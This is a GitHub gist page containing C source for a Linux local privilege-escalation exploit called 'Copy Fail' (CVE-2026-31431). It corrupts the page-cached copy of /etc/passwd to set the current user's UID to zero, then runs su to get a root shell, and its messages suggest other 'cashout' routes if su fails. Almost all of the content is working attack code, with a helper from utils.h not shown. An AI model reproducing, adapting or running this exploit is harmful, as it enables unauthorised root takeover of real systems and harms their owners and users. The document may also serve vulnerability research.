Created
June 4, 2026 07:19
-
-
Save spynika/5a7493888e350d8c96772bff995cef0f to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* SPDX-License-Identifier: LGPL-2.1-or-later OR MIT */ | |
| /* | |
| * Copy Fail -- CVE-2026-31431 -- /etc/passwd UID-flip variant. | |
| * | |
| * Mutates /etc/passwd's page cache to set the running user's UID field | |
| * to "0000", then execs `su <user>`. PAM authenticates against | |
| * /etc/shadow (untouched) using the user's real password; on success, | |
| * su's setuid() reads the corrupted /etc/passwd from the page cache and | |
| * lands in a root shell. | |
| * | |
| * Compared to exploit.c (the binary-mutation variant), this works on | |
| * any system where /etc/passwd is world-readable (every standard Linux | |
| * system) including environments that harden setuid binaries against | |
| * unprivileged read access. | |
| * | |
| */ | |
| #define _GNU_SOURCE | |
| #include <errno.h> | |
| #include <fcntl.h> | |
| #include <pwd.h> | |
| #include <stdio.h> | |
| #include <string.h> | |
| #include <unistd.h> | |
| #include <sys/types.h> | |
| #include "utils.h" | |
| /* Find the byte offset of the UID field for `username` in /etc/passwd. | |
| * Returns -1 on error or if the user is not found. */ | |
| static off_t find_uid_offset(const char *username) { | |
| int fd = open("/etc/passwd", O_RDONLY); | |
| if (fd < 0) { perror("open(/etc/passwd)"); return -1; } | |
| char buf[65536]; | |
| ssize_t n = read(fd, buf, sizeof buf - 1); | |
| close(fd); | |
| if (n <= 0) { perror("read(/etc/passwd)"); return -1; } | |
| buf[n] = '\0'; | |
| size_t namelen = strlen(username); | |
| char *line = buf; | |
| while (line < buf + n) { | |
| char *eol = memchr(line, '\n', (buf + n) - line); | |
| size_t linelen = eol ? (size_t)(eol - line) : (size_t)((buf + n) - line); | |
| if (linelen > namelen + 1 && | |
| memcmp(line, username, namelen) == 0 && | |
| line[namelen] == ':') { | |
| /* line: name:x:UID:GID:gecos:home:shell */ | |
| char *colon1 = memchr(line, ':', linelen); | |
| if (!colon1) break; | |
| char *colon2 = memchr(colon1 + 1, ':', linelen - (size_t)(colon1 + 1 - line)); | |
| if (!colon2) break; | |
| return (off_t)((colon2 + 1) - buf); | |
| } | |
| if (!eol) break; | |
| line = eol + 1; | |
| } | |
| fprintf(stderr, "[-] could not find user %s in /etc/passwd\n", username); | |
| return -1; | |
| } | |
| int main(void) { | |
| uid_t uid = getuid(); | |
| struct passwd *pw = getpwuid(uid); | |
| if (!pw) { perror("getpwuid"); return 1; } | |
| fprintf(stderr, "[+] user: %s (uid=%u)\n", pw->pw_name, uid); | |
| off_t uid_offset = find_uid_offset(pw->pw_name); | |
| if (uid_offset < 0) return 1; | |
| fprintf(stderr, "[+] /etc/passwd UID field at offset %lld\n", | |
| (long long)uid_offset); | |
| int fd = open("/etc/passwd", O_RDONLY); | |
| if (fd < 0) { perror("open(/etc/passwd)"); return 1; } | |
| /* Read up to 10 digits starting at uid_offset to find the field length. */ | |
| char fieldbuf[12] = { 0 }; | |
| ssize_t nr = pread(fd, fieldbuf, sizeof fieldbuf - 1, uid_offset); | |
| if (nr < 1) { perror("pread"); close(fd); return 1; } | |
| /* Find length of the existing UID field (up to next ':') */ | |
| int old_uid_len = 0; | |
| while (old_uid_len < nr && fieldbuf[old_uid_len] != ':') | |
| old_uid_len++; | |
| if (old_uid_len == 0 || old_uid_len > 10) { | |
| fprintf(stderr, "[-] could not determine UID field length\n"); | |
| close(fd); return 1; | |
| } | |
| /* Left-pad old_uid_len. | |
| * /etc/passwd allows leading zeros so 0000 is uid 0. */ | |
| char padded[11]; | |
| memset(padded, '0', old_uid_len); | |
| padded[old_uid_len] = '\0'; | |
| fprintf(stderr, "[+] old field: \"%.*s\" (%d bytes), new field: \"%s\" (%d bytes)\n", | |
| old_uid_len, fieldbuf, old_uid_len, padded, old_uid_len); | |
| /* New sanity check: verify the existing field matches getuid() to avoid corrupting /etc/passwd */ | |
| char expected[11]; | |
| snprintf(expected, sizeof expected, "%u", uid); | |
| int expected_len = (int)strlen(expected); | |
| if (old_uid_len < expected_len || | |
| memcmp(fieldbuf + old_uid_len - expected_len, expected, expected_len) != 0) { | |
| fprintf(stderr, | |
| "[-] sanity check failed: field \"%.*s\" doesn't end with " | |
| "expected uid \"%s\"\n", | |
| old_uid_len, fieldbuf, expected); | |
| close(fd); return 1; | |
| } | |
| fprintf(stderr, "[+] sanity check ok\n"); | |
| /* Patch in 4-byte chunks. Read-modify-write for the final chunk if partial */ | |
| for (int off = 0; off < old_uid_len; off += 4) { | |
| unsigned char chunk[4]; | |
| int n = old_uid_len - off < 4 ? old_uid_len - off : 4; | |
| if (n < 4 && pread(fd, chunk, 4, uid_offset + off) != 4) { | |
| perror("pread on final chunk"); | |
| close(fd); return 1; | |
| } | |
| memcpy(chunk, padded + off, n); | |
| if (patch_chunk(fd, uid_offset + off, chunk) < 0) { | |
| fprintf(stderr, "[-] page-cache mutation failed at offset %lld\n", | |
| (long long)(uid_offset + off)); | |
| close(fd); return 1; | |
| } | |
| } | |
| close(fd); | |
| fprintf(stderr, | |
| "[+] /etc/passwd page cache mutated; %s's UID is now %s\n", | |
| pw->pw_name, padded); | |
| fprintf(stderr, | |
| "[+] attempting cashout via `su %s`\n", pw->pw_name); | |
| fprintf(stderr, | |
| "[!] If su fails with \"Cannot determine your user name\"\n" | |
| " (shadow-utils' caller-identity check), the page cache\n" | |
| " mutation is still active. Pivot to another cashout\n" | |
| " that consults /etc/passwd.\n"); | |
| fprintf(stderr, | |
| "[+] cleanup after testing (run as root):\n" | |
| " echo 3 > /proc/sys/vm/drop_caches\n\n"); | |
| execlp("su", "su", pw->pw_name, (char *)NULL); | |
| perror("execlp(su)"); | |
| return 1; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment